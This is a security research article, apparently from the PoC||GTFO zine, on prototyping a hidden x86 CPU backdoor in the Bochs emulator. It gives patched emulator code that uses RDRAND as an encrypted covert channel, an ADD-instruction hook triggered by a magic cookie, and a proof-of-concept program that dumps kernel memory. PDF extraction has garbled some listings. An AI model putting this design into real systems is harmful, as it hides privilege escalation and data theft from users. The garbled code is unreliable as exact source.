# 8 Prototyping a generic x86 backdoor in Bochs; or, I'll see your RDRAND backdoor and raise you a covert channel!

by Matilda

Inspired by Taylor Hornby's article in PoC GTFO 3:6 about a way to backdoor RDRAND, I designed and prototyped a general backdoor for an x86 CPU that, without knowing a 128 bit AES key, can only be proven to exist by reverse-engineering the die of the CPU.

In order to have a functioning backdoor we need several things. We need a context in which to execute backdoor code and ways to communicate with the backdoor code. The first one is easy to solve. If we are able to create new hardware on the CPU die, we can add an additional processor on it with a bit of memory and have it be totally independent from any of the code that the x86 CPU executes. Let's call this or its Bochs emulation an Ubervisor.

We store the state for the ubervisor in an appropriately-named structure.

```
struct {
2
           /* data to be encrypted */
           uint8_t evilbyte=0xff;
           uint8 t evilstatus=0xff;
           /* counter for output covert channel */
                                       /* incremented by 1 each time RDRAND
6
           uint64 t counter = 0;
                                          is called */
           uint64 t i counter = 0;
                                       /* each time we enter ADD GqEqR we evaluate
8
                                          ((RAX << 64) \mid RBX) \land AES_k(i\_counter)
10
                                          and if it gives us the magic number we end
                                          up incrementing i counter twice (to generate
12
                                          256 bits of keystream, as we read 4 64 bit
                                          regs). If we do not get the magic number,
14
                                          we *do not* increment i\_ counter. this allows
                                          us to remain in synchronization */
16
           uint8_t aes_key [17] = "YELLOW SUBMARINE";
18
           /{*}\ output\ status\ is\ 0\ if\ we\ need\ to\ output\ the\ high\ half\ of\ the
20
              block, or 1 if we need to output the low half (and then increment the
              counter afterwards, of course) */
22
           uint8_t out_stat = 0;
      } evil;
```

Communicating with the backdoor is harder. We need to find out how to pass data from user mode x86 code to the ubervisor. No code running on the CPU—whether in user mode, kernel mode, or even SMM mode—should be able to determine if the CPU is backdoored.

#### 8.1 Data exfiltration using RDRAND as a covert channel.

Let's first focus on communication from the ubervisor to user mode x86 code.

An obvious choice to sneak data from the ubervisor to user mode x86 code is using RDRAND. There is no way, besides reverse engineering the circuits implementing RDRAND, to tell whether the output of RDRAND is acting as a covert channel. All other instructions may be comparable to legitimate knowngood reference CPU values against a possibly-backdoored CPU, where all registers and memory are checked after each instruction. RDRAND being non-deterministic by nature, it is not possible to perform the same differential analysis to detect backdoors without reverting to more costly techniques, such as timing analysis.

Our implementation of an RDRAND covert channel goes in the Bochs function BX\_CPU\_C::RDRAND\_-Eq(bxInstruction\_c \*i).

```
Bit64u val 64 = 0;
   uint8 t ibuf [16];
3
   /* input buffer is organized like this:
      8\ bytes\ --\ counter
      6 bytes of padding
      1 \ byte -- \ evilstatus
      1 byte -- evilbyte */
   uint8 t obuf [16];
9 AES KEY keyctx;
11 AES_set_encrypt_key(BX_CPU_THIS_PTR_evil.aes_key, 128, &keyctx);
                              &(BX CPU THIS PTR evil.counter),
13
  memcpy(ibuf,
   memset(ibuf + 8,
                              0xfe.
                                                                     6):
                              &(BX CPU THIS PTR evil.evilstatus), 1);
15
  memcpy(ibuf + 8 + 6,
   memcpy(ibuf + 8 + 6 + 1, &(BX_CPU_THIS_PTR evil.evilbyte),
17
   AES_encrypt(ibuf, obuf, &keyctx);
19
   if (BX CPU THIS PTR evil.out stat == 0) {
                                                  /* output high half */
       memcpy(&val_64, obuf, 8);
BX_CPU_THIS_PTR_evil.out_stat = 1;
21
                                                   /* output low half */
  } else {
23
       memcpy(\&val 64, obuf + 8, 8);
25
       BX CPU THIS PTR evil.out stat = 0;
       BX_CPU_THIS_PTR evil.counter++;
27
29 BX WRITE 64BIT REG(i->dst(), val 64);
```

Note that the output of RDRAND in the above code is  $AES_k(nonce||counter)$ , where we encode the data we wish to exfiltrate in the nonce. The 64-bit counter is there just to make the output look random to anyone who does not know the key. Unlike the standard uses of the counter mode, there is no xor-with-keystream involved in our exfiltration at all; what we do is equivalent to using the CTR mode for encrypting a plaintext of all zeros while transmitting actual data through the nonces.

The reason for this tweak is synchronization. Legitimate code may call RDRAND any number of times between our own invocations. If we used the CTR mode to generate a keystream to XOR with the data we exfiltrated, we would not be able to deduce the offset within the keystream given RDRAND values from two sequential calls. With our nonce-based method, we suffer from no synchronization issues and retain all security properties of the CTR mode.

Unless the counter overflows, the output of this version of RDRAND cannot be distinguished from random data unless you know the AES key. Overflows can be avoided by incrementing the key just before the counter overflows.

All we need now is to receive data from this covert channel as the output of two consecutive RDRAND executions. In the rare case that the OS preempts us between the two RDRAND instructions to run RDRAND for itself or another process, we need to try executing the two RDRANDs again. In practice, this form of interruption has not been observed.

#### 8.2 Data Infiltration to the Ubervisor

We now need to find a way for user mode x86 code to communicate data to the ubervisor while keeping it impossible to detect it is doing so. First, we need to encrypt all the data we send to the ubervisor. Second, we need a way to signal to the ubervisor that we would like to send it data.

I decided to hook the ADD\_EqGqM function, which is called when an ADD operation on two 64 bit general registers is decoded. In order to signal to the ubervisor that there is valid encrypted data in the registers, we

put an encrypted magic cookie in RAX and RBX and test for it each time the hooked instruction is decoded. If the magic cookie is found in RAX/RBX, we extract the encrypted data from RCX/RDX.

We encrypt the data with AES in counter mode, using a different counter than is used for the RDRAND exfiltration. Again, we have a synchronization issue: how can we make sure we always know where the ubervisor's counter is? We resolve this by having the counter increment only when we see a valid magic cookie and, of course, for each 128-bit chunk of keystream we generate afterwards (used to decrypt the data we are sending to the ubervisor). That way, the ubervisor's counter is always known to us, regardless of how many times the hooked instruction is executed.

Note that CTR mode is malleable. If this were a production system, I would include a MAC and store the MAC result in an additional register pair.

Here is the backdoored ADD\_GqEqR function:

```
1 BX INSF TYPE BX CPP AttrRegparmN(1) BX CPU C::ADD GqEqR(bxInstruction c *i)
3
        Bit64u op1_64, op2_64, sum_64;
        uint8 t error = 1;
5
        uint8_t data = 0xcc;
        uint8_t keystream [16];
 7
        op1\_64 \ = \ BX\_READ\_64BIT\_REG(\ i -\!\!>\! dst\ ()\ )\ ;
9
        op2 64 = BX READ 64BIT REG(i \rightarrow src());
        sum 64 = op1 64 + op2 64;
11
        /* Ubercall calling convention:
13
        authentication:
        RAX = 0x99a0086fba28dfd1
        RBX = 0xe2dd84b5c9688a03
15
17
        arguments:
        RCX = ubercall number
19
        RDX = argument 1 (usually an address)
        RSI = argument 2 (usually a value)
21
        testing only:
23
        RDI = return \ value
        RBP = error \ indicator \ (1 \ iff \ an \ error \ occurred)
         ```` testing only
25
27
        ubercall numbers:
        RCX = 0xabadbabe00000001 is PEEK to a virtual address
29
        return *(uint8_t *) RDX
        RCX = 0xabadba\overline{b}e000000002 is POKE to a virtual address
31
         *(uint8 t *) RDX = RSI
         if the page table walk fails, we don't generate any kind of fault or
33
         exception, we just write 1 to the error indicator field.
         the page table that is used is the one that is used when the current
35
         process accesses memory
37
         RCX = 0xabadbabe000000003 is PEEK to a physical address
39
         return *(uint8 t *) RDX
         \mathit{RCX} = \mathit{0xabadbabe00000004} is POKE to a physical address
41
         *(uint8 t *) RDX = RSI
         (we\ only\ read/write\ 1\ byte\ at\ a\ time\ because\ anything\ else\ could
43
         involve \ alignment \ issues \ and/or \ access \ that \ cross \ page \ boundaries)
45
        ctr_output(keystream);
47
             \begin{array}{ll} ((RAX \ ^*((uint64\_t \ *) \ keystream)) == 0x99a0086fba28dfd1) \\ \&\& \ ((RBX \ ^*((uint64\_t \ *) \ keystream + 1)) == 0xe2dd84b5c9688a03)) \ \{ (RAX \ ^*(uint64\_t \ *) \ keystream + 1) \} \end{array}
49
             //\ we\ have\ a\ valid\ ubercall\ ,\ let\ 's\ do\ this\ texas-style
             printf("COUNTER = %016lX\n", BX_CPU_THIS_PTR evil.i_counter);
51
```

```
printf("entered ubercall! RAX = %016lX RBX = %016lX RCX = %016lX RDX = %016lX\n",
53
                  RAX, RBX, RCX, RDX);
           BX CPU THIS_PTR evil.i_counter++;
55
           ctr output (keystream);
           BX CPU THIS PTR evil.i counter++;
57
           switch (RCX ^ *((uint64 t *) keystream)) {
59
               case 0xabadbabe00000001: // peek, virtual
                   access read linear nofail(RDX ^ *((uint64 t *) keystream + 1),
  1, 0, BX_READ, (void *) &data, &error);
61
                   BX CPU THIS PTR evil.evilbyte = data;
                   BX CPU THIS_PTR evil.evilstatus = error;
63
                   break;
65
           BX CPU THIS PTR evil.out stat = 0; /* we start at the hi half of the
67
  output block now */
69
      BX_WRITE_64BIT_REG(i->dst(), sum_64);
71
      SET_FLAGS_OSZAPC_ADD_64(op1_64, op2_64, sum_64);
73
      BX NEXT INSTR(i);
75 }
77
  void BX CPU C::ctr output(uint8 t *out) {
      uint8_t ibuf [16];
79
      AES_KEY keyctx;
      AES set encrypt key(BX CPU THIS PTR evil.aes key, 128, &keyctx);
81
83
      memset(ibuf, 0xef, 16);
      memcpy(ibuf, &(BX_CPU_THIS_PTR evil.i counter), 8);
85
      AES_encrypt(ibuf, out, &keyctx);
```

## 8.3 Fun things to do in Ring -4

Now that we have ways to get data in and out of the ubervisor, we need to consider what exactly can be done within the ubervisor. In the general case, we create a bit of memory space and register space for our ubervisor and have ubercalls that allow reading and writing from the ubervisor's memory space as well as starting and stopping the ubervisor execution to load and execute arbitrary code isolated from the x86 core.

For sake of simplicity, I just implemented one ubercall which reads a byte from the specified virtual address and returns it via the RDRAND covert channel. This is done by ignoring all memory protection mechanisms. I needed to make copies of all the functions involved in converting a long mode virtual address into a physical address and strip out any code that changes the state of the CPU, including anything which adds entries to the TLB or causes exceptions or faults.

This is what the function called access\_read\_linear\_nofail does.

```
(BX PHY ADDRESS RESERVED BITS & BX CONST64(0xffffffffffffff))
12 #define PAGING PAE RESERVED BITS (BX PAGING PHY ADDRESS RESERVED BITS)
   #define BX LEVEL PML4 3
14 #define BX LEVEL PDPTE 2
   #define BX_LEVEL_PDE
16 #define BX_LEVEL_PTE
   // keep it 4 letters
18
   \mathbf{static} \ \mathbf{const} \ \mathbf{char} \ * \mathbf{bx} \_ \mathbf{paging} \_ \mathbf{level} \left[ 4 \right] \ = \ \{ \ "PTE" \ , \ "PDE" \ , \ "PDPE" \ , \ "PML4" \ \};
20
   Bit8u BX_CPP_AttrRegparmN(2)
22 BX CPU C: read virtual byte 64 nofail(unsigned s, Bit64u offset, uint8 t *error)
24
       Bit8u data;
       Bit64u laddr = get laddr64(s, offset); // this is safe
26
        if (! IsCanonical(laddr)) {
28
            *error = 1;
            return 0;
30
       }
       access_read_linear_nofail(laddr, 1, 0, BX_READ, (void *) &data, error);
32
       return data;
34 }
36
   int BX CPU C:: access read linear nofail(bx address laddr, unsigned len,
  unsigned curr_pl, unsigned xlate_rw,
38
  void *data, uint8 t *error)
40
       Bit32u combined access = 0x06;
       Bit32u lpf_mask = 0xfff; // 4K pages
       bx_phy_address paddress, ppf, poffset = PAGE_OFFSET(laddr);
42
       paddress = translate_linear_long_mode_nofail(laddr, error);
44
       paddress = A20ADDR(paddress);
46
       if (*error == 1) {
            return 0;
48
       access_read_physical(paddress, len, data);
       return 0;
52 }
54
   bx_phy_address BX_CPU_C::translate_linear_long_mode_nofail(bx_address_laddr, uint8_t *error)
56
       bx_phy_address entry_addr[4];
       \label{eq:bx_phy_address_ppf} bx\_phy\_address\_ppf = BX\_CPU\_THIS\_PTR\_cr3\_\&BX\_CR3\_PAGING\_MASK;
58
       Bit64u entry [4];
60
       bx_bool nx_fault = 0;
       int leaf;
62
       Bit64u offset_mask = BX_CONST64(0 x 0 0 0 0 fffffffffffff);
64
       Bit64u reserved = PAGING PAE RESERVED BITS;
       if (! BX_CPU_THIS_PTR_efer.get_NXE())
66
            reserved = PAGE DIRECTORY NX BIT;
68
       for (leaf = BX LEVEL PML4;; ---leaf) {
            entry_addr[leaf] = ppf + ((laddr >> (9 + 9*leaf)) & 0xff8);
70
72
            access read physical(entry addr[leaf], 8, &entry[leaf]);
             BX\_NOTIFY\_PHY\_MEMORY\_ACCESS(entry\_addr[leaf], 8, BX\_READ, (BX\_PTE\_ACCESS + leaf), \\
74
  (Bit8u*)(&entry[leaf]) );
            offset mask >>= 9;
```

```
76
           Bit64u curr entry = entry [leaf];
           int fault = check_entry_PAE(bx_paging_level[leaf], curr_entry,
 78
  reserved, 0, &nx fault);
            if (fault >= 0) {
80
                *error = 1;
82
                return 0;
84
           ppf = curr_entry \& BX_CONST64(0 x 0 0 0 fffffffffff 0 0 0);
86
           if (leaf == BX LEVEL PTE) break;
88
            if (curr_entry & 0x80) {
                if (leaf > (BX LEVEL PDE + !! bx cpuid support lg paging()))
90
                   BX DEBUG(("PAE %s: PS bit set !", bx paging level[leaf]));
92
                    *error = 1;
                    return 0;
94
                }
                ppf &= BX_CONST64(0 \times 000ffffffffffe000);
96
                if (ppf & offset_mask) {
98
                   BX DEBUG(("PAE %s: reserved bit is set: 0x" FMT ADDRX64,
                              bx_paging_level[leaf], curr_entry));
100
                    *error = 1;
                    return 0;
102
                }
               break;
104
       106
108
       *error = 0;
110
       return ppf | (laddr & offset_mask);
```

Please note that the above code chokes if reading more than one byte, because for simplicity, I have removed all code that deals with alignment issues and reads that span multiple pages.

If we were making an actual CPU with this backdoor mechanism, we would be more devious: instead of commanding a read when we make the ubercall, we would wait until the requested memory address is read by a legitimate process. This is so that the operation is not observable by looking at the activity on the wiring between the CPU and memory. That way, no software or hardware observation can reveal the presence of this type of backdoor besides analyzing the CPU die itself.

Note that anything that the CPU can access has to be accessible by this type of backdoor. There is no way to hide your information from this backdoor and still be able to process it with your CPU.

### 8.4 A PoC to dump kernel memory.

Once we have patched Bochs, we can start up Linux and run the following code to dump an arbitrary range of virtual memory:

```
1 #include <openssl/aes.h>
#include <stdlib.h>
3 #include <string.h>
#include <stdint.h>
5 #include <stdio.h>
7 struct ctrctx {
    uint64_t counter;
```

```
uint8_t aeskey [16];
    };
11
    void poke() {
          volatile uint64_t c,d;
13
          c = 0xaaabadbadbadbeef;
15
          d = 0xbeefbeefbeef;
          \begin{array}{ll} \operatorname{asm} \ \mathbf{volatile} \left( \text{"rdrand} & \%0 \backslash n \backslash t \text{"} \\ \text{"rdrand} & \%1 \text{": "=r"(c)}, \text{ "=r"(d)} \right); \end{array}
17
          \texttt{printf}("\%016lX", c);
19
          printf("%016lX\n", d);
21
    int main() {
          volatile uint64_t rax;
23
          volatile uint64_t rbx;
volatile uint64_t rcx;
25
          volatile uint64_t rdx;
27
          uint64_t base, len, i;
29
          struct ctrctx ctx;
          uint8_t buf [16];
31
          base \, = \, 0\,x\,ffffffff8\,1\,0\,5\,c\,7\,e\,0 \; ;
33
          len = 1024;
          ctx.counter = 0;
          memcpy(\,\texttt{ctx.aeskey}\;,\;\; \texttt{"YELLOW}\; SUBMARINE"}\;,\;\; 16)\;;
35
37
          for (i = base; i < base + len; i++) {
                ctr_output(buf, &ctx);
39
                rax = 0x99a0086fba28dfd1;
41
                rbx = 0xe2dd84b5c9688a03;
                \mathtt{rcx} \,=\, 0 \mathtt{xabadbabe} 00000001\,;
43
                rdx = i;
45
                rax = *((uint64 t *) buf);
                rbx ^= *((uint64_t *) buf + 1);
47
                ctx.counter++;
                ctr_output(buf, &ctx);
rcx ^= *((uint64_t *) buf);
49
                rdx ^= *((uint64_t *) buf + 1);
51
                ctx.counter++;
53
                asm volatile (
                      "add\ \%0, \ \ \%1"\ :\ "=a"\ (rax)\ :\ "a"\ (rax)\ ,\ "b"\ (rbx)\ ,\ "c"\ (rcx)\ ,\ "d"\ (rdx)\ :\ )\ ;
55
                poke();
57
          }
59
    void ctr output(uint8 t *output, struct ctrctx *ctx) {
          uint8_t ibuf [16];
61
          AES_KEY keyctx;
63
          AES\_set\_encrypt\_key(\,ctx-\!\!>\!\!aeskey\,,\ 128\,,\ \&keyctx\,)\,;
65
          \begin{array}{ll} memset(\,i\,b\,uf\,\,,\,\,\,0\,x\,ef\,\,,\,\,\,16\,)\,\,;\\ memcpy(\,i\,b\,uf\,\,,\,\,\,\&(c\,t\,x\,-\!\!>\!\!c\,o\,u\,n\,t\,er\,)\,\,,\,\,\,8\,)\,\,; \end{array}
67
          AES_encrypt(ibuf, output, &keyctx);
69 }
```

In the above code, an output in peek\_output will generate a memory dump. Look at the last byte in each 16 byte block for the bytes of data.<sup>12</sup>

```
for foo in 'cat peek_output'; do echo -n $foo |xxd -r -p | ./qw | openssl enc -d -aes-128-ecb -nopad -K 59454c4c4f57205355424d4152494e45|xxd >> dump;done}
```

Here are the first few lines of a dump, beginning at 0xffffffff8105c7e0.

```
0000000: db10 0000 0000 0000 fefe fefe fefe 00c0
0000000: dc10 0000 0000 0000 fefe
                                     fefe
   fefe
  00 \, \mathrm{be}
0000000: dd10 0000 0000 0000
                                fefe
                                     fefe
   fefe
  009 f
0000000: de10 0000 0000 0000
  0000
                               fefe
                                     fefe fefe
0000000: df10 0000 0000
                          0000
                                fefe
  fefe
  0000
                                     fefe
0000000: e010 0000 0000 0000
                                fefe
                                     fefe
  fefe
  0000
0000000: e110 0000 0000
                          0000
                                fefe
                                     fefe
   fefe
  0048
0000000: e210 0000 0000
                          0000
  00c7
                                fefe
                                      fefe
   fefe
0000000: e310 0000 0000 0000
   fefe
  00c7
                                fefe
                                     fefe
0000000: e410 0000 0000 0000
                               fefe
                                     fefe
   fefe
0000000: e510 0000 0000 0000
                               fefe fefe fefe
  002\,\mathrm{f}
0000000: e610 0000 0000
                          0000
                                fefe
                                     fefe
   fefe
  006f
0000000: e710 0000 0000
                          0000
                                fefe
                                      fefe
   fefe
  0081
0000000: e810 0000 0000 0000
                                fefe
                                     fefe
   fefe
  00e8
0000000: e910 0000 0000
                          0000
   fefe
  000e
                                fefe
                                     fefe
0000000: ea10 0000 0000 0000
  00bd
                               fefe
                                     fefe
   fefe
```

Look at the first few bytes starting at <code>Oxffffffff8105c7e0</code>, which is in the text section of the kernel. Run ./extract-vmlinux on the vmlinuz file and objdump -d to extract the code.

If you compare the first few bytes of the dump above with the output of objdump, you will find a match!

```
      fffffffff8105c7df:
      75 c0

      2 ffffffff8105c7e1:
      be 9f 00 00 00

      ffffffff8105c7e6:
      48 c7 c7 d8 2f 6f 81

      4 ffffffff8105c7ed:
      e8 0e bd ff ff
```

Note that throughout the execution of this program, all the deterministic register/memory state is identical whether or not you run it on a CPU that has this backdoor. Full code is available by unzipping this PDF file.<sup>13</sup>

 $<sup>^{12}</sup>$ The ./qw directive simply swaps endianess on all bytes in each quadword because of how we copied data from the output buffer for AES into the registers.

<sup>13</sup>git clone https://github.com/matildah/bochsdoor